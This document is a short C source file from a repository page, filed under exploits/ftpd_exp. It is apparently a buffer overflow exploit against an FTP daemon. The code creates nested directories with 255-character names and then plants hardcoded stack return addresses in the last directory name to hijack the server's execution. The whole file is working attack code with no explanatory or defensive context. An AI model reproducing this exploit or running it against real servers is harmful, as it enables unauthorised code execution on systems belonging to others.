summaryrefslogtreecommitdiff
path: root/exploits/ftpd_exp/exp.c
blob: 5f80d44c831bd455f3655f3e15ce96cfd50f3b97 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <unistd.h>

int
main (int argc, char **argv)
{
	char	buf[512];

	memset (buf, 'a', 255);
	buf[255] = '\0';
	if (mkdir (buf, 0700) < 0) {
		perror ("mkdir");
		return (-1);
	}
	chdir (buf);
	mkdir (buf, 0700);
	chdir (buf);
	mkdir (buf, 0700);
	chdir (buf);
	*(unsigned int *)(buf + 156) = 0xbfbffa2d;
	*(unsigned int *)(buf + 160) = 0xbfbff361;
	*(unsigned int *)(buf + 164) = 0xbfbff361;
	mkdir (buf, 0700);

}